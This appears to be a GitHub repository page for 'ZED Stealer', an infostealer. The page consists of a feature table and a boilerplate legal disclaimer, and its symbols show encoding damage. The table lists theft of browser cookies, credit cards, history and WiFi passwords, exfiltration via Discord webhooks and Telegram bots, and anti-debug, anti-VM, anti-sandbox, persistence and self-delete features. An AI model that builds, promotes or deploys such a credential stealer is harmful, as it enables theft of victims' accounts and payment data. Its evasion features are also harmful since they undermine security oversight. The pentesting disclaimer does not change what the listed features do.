Browser cookies browsers.cpp βœ… Full
Credit cards browsers.cpp βœ… Full
Browsing history browsers.cpp βœ… Full
Chrome / Edge / Brave / Opera support browsers.cpp βœ… Full
System info (OS, CPU, RAM, Disk) system.cpp βœ… Full
GPU name (registry) system.cpp βœ… Full
Screenshot (GDI) system.cpp βœ… Full
Clipboard text system.cpp βœ… Full
WiFi passwords (WlanAPI) system.cpp βœ… Full
Installed applications system.cpp βœ… Full
Startup items system.cpp βœ… Full
Public IP + GeoIP network.cpp βœ… Full
Discord Webhook delivery delivery.cpp βœ… Full
Telegram Bot delivery delivery.cpp βœ… Full
Anti-Debug payload/main.cpp βœ… Full
Anti-VM payload/main.cpp βœ… Full
Anti-Sandbox payload/main.cpp βœ… Full
Mutex (single instance) payload/main.cpp βœ… Full
Persistence (registry Run) payload/main.cpp βœ… Full
Self-delete (melt) payload/main.cpp βœ… Full
Self-destruct payload/main.cpp βœ… Full
XOR payload encryption runner.rs βœ… Full
Config persistence (JSON) state.rs βœ… Full
Real-time build logs compiler.rs βœ… Full
Per-browser targeting config_template.h βœ… Full

Legal Disclaimer

╔══════════════════════════════════════════════════════════════════╗
β•‘                        ⚠  DISCLAIMER  ⚠                        β•‘
β•‘                                                                  β•‘
β•‘  ZED is developed exclusively for:                       β•‘
β•‘    β€’ Authorized penetration testing                              β•‘
β•‘    β€’ Red-team security engagements                               β•‘
β•‘    β€’ Security research in controlled lab environments            β•‘
β•‘                                                                  β•‘
β•‘  Using this software against systems you do not own or have      β•‘
β•‘  explicit written permission to test is ILLEGAL and may result   β•‘
β•‘  in severe criminal penalties under computer fraud laws.         β•‘
β•‘                                                                  β•‘
β•‘  The authors assume NO liability for misuse of this software.    β•‘
β•‘  By using ZED Stealer, you agree to use it responsibly and       β•‘
β•‘  only within the bounds of applicable law.                       β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

ZED Stealer β€” Built with ❀ By 0Rafas in Rust + C++

Professional β€’ Modern β€’ Fast

About

No description, website, or topics provided.

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages